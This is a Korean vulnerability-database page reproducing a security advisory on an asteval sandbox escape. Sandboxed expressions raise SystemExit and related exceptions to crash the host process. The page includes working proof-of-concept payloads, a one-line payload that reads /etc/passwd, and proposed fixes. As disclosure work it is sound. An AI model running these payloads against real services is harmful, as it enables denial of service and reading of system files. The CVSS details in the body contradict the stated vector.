CVE-2026-55244MEDIUM· 5.0GHSA대응게시일: 2026. 08. 20.수정일: 2026. 08. 20.

asteval has a Sandbox Escape via BaseException Subclasses

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음

CVSS

5.0medium

이론적 심각도 점수

EPSS

—

예측 데이터 없음

KEV

미등재

실측 악용 기록 없음

권장 대응 기한차기 업그레이드 시CISA SSVC 기준

별도 긴급 패치 불필요 — 정기 시스템 업그레이드 주기에 맞춰 조치

· KEV 미등재 · 자동화 어려움 · 부분 영향 · 내부 한정

CVSS 벡터 · 메트릭

악용 경로

공격 벡터로컬

공격 복잡도낮음

필요 권한낮음

사용자 상호작용필요

범위불변

영향

기밀성 영향없음

무결성 영향없음

가용성 영향높음

버전별 점수

CVSS 3.15.0MODERATE

CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H

상세 설명

Summary

An attacker who can supply expressions to asteval.Interpreter.eval() can raise SystemExit,
KeyboardInterrupt, GeneratorExit, or BaseException from inside the sandbox. These
exceptions are subclasses of BaseException but not Exception, so they bypass the
except Exception: safety net in both run() and eval(). The exception propagates
verbatim to the calling application, terminating the process or disrupting signal and
cleanup handlers.

This is distinct from prior vulnerabilities CVE-2025-24359 (format string injection) and
GHSA-vp47-9734-prjw (AST mutation TOCTOU), both fixed in 1.0.6. This vector is present in
all versions including 1.0.6 and current HEAD.

Affected Code

asteval/astutils.py, lines 89–108 — FROM_PY exposes dangerous classes to sandbox users:

text

 1FROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError',
 2           'BaseException',          # ← escapes except Exception:
 3           'BufferError', 'BytesWarning',
 4           ...
 5           'GeneratorExit',          # ← escapes except Exception:
 6           ...
 7           'KeyboardInterrupt',      # ← escapes except Exception:
 8           ...
 9           'SystemExit',             # ← escapes except Exception:
10           ...)

asteval/asteval.py, line 322 — run() exception handler:

text

 1except Exception:                    # ← does NOT catch BaseException subclasses
 2    if with_raise and self.expr is not None:
 3        self.raise_exception(node, expr=self.expr)

asteval/asteval.py, line 370 — eval() exception handler:

text

 1except Exception:                    # ← same gap
 2    if show_errors and not raise_errors:
 3        ...

asteval/asteval.py, line 264 — raise_exception() raises the class directly:

text

 1raise exc(self.error_msg)            # ← when exc=SystemExit, escapes both handlers above

Root Cause

Python's exception hierarchy has two distinct branches under BaseException:

text

 1BaseException
 2├── SystemExit          ← NOT caught by except Exception:
 3├── KeyboardInterrupt   ← NOT caught by except Exception:
 4├── GeneratorExit       ← NOT caught by except Exception:
 5└── Exception           ← caught normally
 6    ├── RuntimeError
 7    ├── ValueError
 8    └── ...

FROM_PY exposes all four non-Exception classes to sandbox users. When a user writes
raise SystemExit("msg"), the on_raise() handler calls:

text

 1self.raise_exception(None, exc=out.__class__, msg=msg, expr='')

which executes raise SystemExit(msg). This propagates through both except Exception:
guards unchecked and surfaces in the calling application.

Proof of Concept

python

 1from asteval import Interpreter
 2 
 3# Variant 1: terminate the process
 4aeval = Interpreter()
 5try:
 6    aeval.eval('raise SystemExit("terminated by sandbox user")')
 7except SystemExit as e:
 8    print(f"[CONFIRMED] SystemExit escaped: {e.code!r}")
 9 
10# Variant 2: disrupt signal/finally handling
11aeval = Interpreter()
12try:
13    aeval.eval('raise KeyboardInterrupt("interrupt injected")')
14except KeyboardInterrupt as e:
15    print(f"[CONFIRMED] KeyboardInterrupt escaped: {str(e)!r}")
16 
17# Variant 3: GeneratorExit
18aeval = Interpreter()
19try:
20    aeval.eval('raise GeneratorExit("gen escape")')
21except GeneratorExit as e:
22    print(f"[CONFIRMED] GeneratorExit escaped: {str(e)!r}")
23 
24# Variant 4: BaseException base class
25aeval = Interpreter()
26try:
27    aeval.eval('raise BaseException("base escape")')
28except BaseException as e:
29    if not isinstance(e, Exception):
30        print(f"[CONFIRMED] BaseException escaped: {str(e)!r}")

Output (tested on asteval 1.0.6, Python 3.11/3.12):

text

 1[CONFIRMED] SystemExit escaped: 'terminated by sandbox user'
 2[CONFIRMED] KeyboardInterrupt escaped: 'interrupt injected'
 3[CONFIRMED] GeneratorExit escaped: 'gen escape'
 4[CONFIRMED] BaseException escaped: 'base escape'

Real-world server scenario

python

 1from asteval import Interpreter
 2 
 3def handle_request(user_expression):
 4    aeval = Interpreter()
 5    return aeval.eval(user_expression)   # SystemExit propagates here
 6 
 7# Attacker sends: raise SystemExit(1)
 8# Application terminates. Top-level except Exception: handlers do not protect it.
 9try:
10    handle_request('raise SystemExit(1)')
11except Exception:
12    pass  # <-- does NOT catch SystemExit; process exits

Impact

Variant	Impact
`SystemExit`	Process terminates; exit code and message attacker-controlled
`KeyboardInterrupt`	Disrupts `finally` blocks, signal handlers, and `KeyboardInterrupt`-aware loops
`GeneratorExit`	Disrupts generator cleanup in calling code
`BaseException`	Generic escape, same propagation

Any application that:

Accepts user-supplied expressions via asteval
Relies on except Exception: at the top level (standard practice)
Does not wrap aeval.eval() in except BaseException: (non-standard, unexpected requirement)

...is vulnerable to attacker-triggered process termination (DoS).

CVSS breakdown: Network-reachable (AV:N), no special conditions (AC:L), no credentials (PR:N),
no interaction (UI:N), scope unchanged (S:U), no confidentiality/integrity impact (C:N/I:N),
high availability impact — process termination (A:H).

Additional Note: File Read Capability (Acknowledged Limitation)

Independently of this vulnerability, asteval exposes a read-only open() wrapper
(_open in astutils.py) that allows reading arbitrary files with the permissions of the
calling process:

bash

 1aeval.eval("open('/etc/passwd').read()")   # returns /etc/passwd contents

This is documented in doc/motivation.rst as a known design choice ("If reading from disk
must be forbidden, you will want to overwrite the open() function from the symbol table").
It is included here for completeness, not as a separate advisory claim.

Recommended Fix

Option A — Remove dangerous classes from FROM_PY (minimal, preferred):

bash

 1# asteval/astutils.py
 2 
 3FROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError',
 4           # Remove: 'BaseException',
 5           'BufferError', 'BytesWarning',
 6           'DeprecationWarning', 'EOFError', 'EnvironmentError',
 7           'Exception', 'False', 'FloatingPointError',
 8           # Remove: 'GeneratorExit',
 9           'IOError', 'ImportError', 'ImportWarning', 'IndentationError',
10           'IndexError', 'KeyError',
11           # Remove: 'KeyboardInterrupt',
12           'LookupError',
13           'MemoryError', 'NameError', 'None',
14           'NotImplementedError', 'OSError', 'OverflowError',
15           'ReferenceError', 'RuntimeError', 'RuntimeWarning',
16           'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError',
17           # Remove: 'SystemExit',
18           'True', 'TypeError', ...)

Option B — Block non-Exception raises in on_raise():

python

 1# asteval/asteval.py
 2 
 3def on_raise(self, node):
 4    excnode = node.exc
 5    msgnode = node.cause
 6    out = self.run(excnode)
 7    # Prevent BaseException subclasses from escaping the sandbox
 8    if not issubclass(out.__class__, Exception):
 9        self.raise_exception(node, exc=RuntimeError,
10                             msg=f"raising {out.__class__.__name__!r} is not permitted")
11        return
12    msg = ' '.join(str(a) for a in out.args)
13    msg2 = self.run(msgnode)
14    if msg2 not in (None, 'None'):
15        msg = f"{msg}: {msg2}"
16    self.raise_exception(None, exc=out.__class__, msg=msg, expr='')

Note: Option B also fixes a secondary bug on the same line — ' '.join(out.args) crashes
with TypeError when args contain non-strings (e.g., raise SystemExit(0) with integer
code). The fix uses str(a) for a in out.args.

Option C — Catch BaseException in run() and eval() (broadest, requires care):

bash

 1except BaseException as exc:
 2    if isinstance(exc, (SystemExit, KeyboardInterrupt, GeneratorExit)):
 3        # Re-raise as RuntimeError to contain within sandbox
 4        self.raise_exception(node, exc=RuntimeError,
 5                             msg=f"{type(exc).__name__} raised in sandbox")
 6    elif with_raise and self.expr is not None:
 7        self.raise_exception(node, expr=self.expr)

Option A is the simplest and least likely to introduce regressions. Option B additionally
addresses the str.join crash on integer args.

Disclosure Timeline

Date	Event
2026-06-09	Vulnerability discovered during code review
2026-06-09	Report submitted via GitHub Security Advisory
TBD	Maintainer acknowledgment
TBD + 90 days	Public disclosure deadline

Researcher

Independent security researcher. No bug bounty program exists for this project.
CVE assignment requested via GitHub Security Advisory submission.

References

Prior CVE: CVE-2025-24359 (format string injection, fixed 1.0.6)
Prior advisory: GHSA-vp47-9734-prjw (AST mutation TOCTOU, fixed 1.0.6)
Python exception hierarchy: https://docs.python.org/3/library/exceptions.html#exception-hierarchy
asteval documentation: https://lmfit.github.io/asteval/

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.

참고 자료 5

링크 내용 불러오는 중…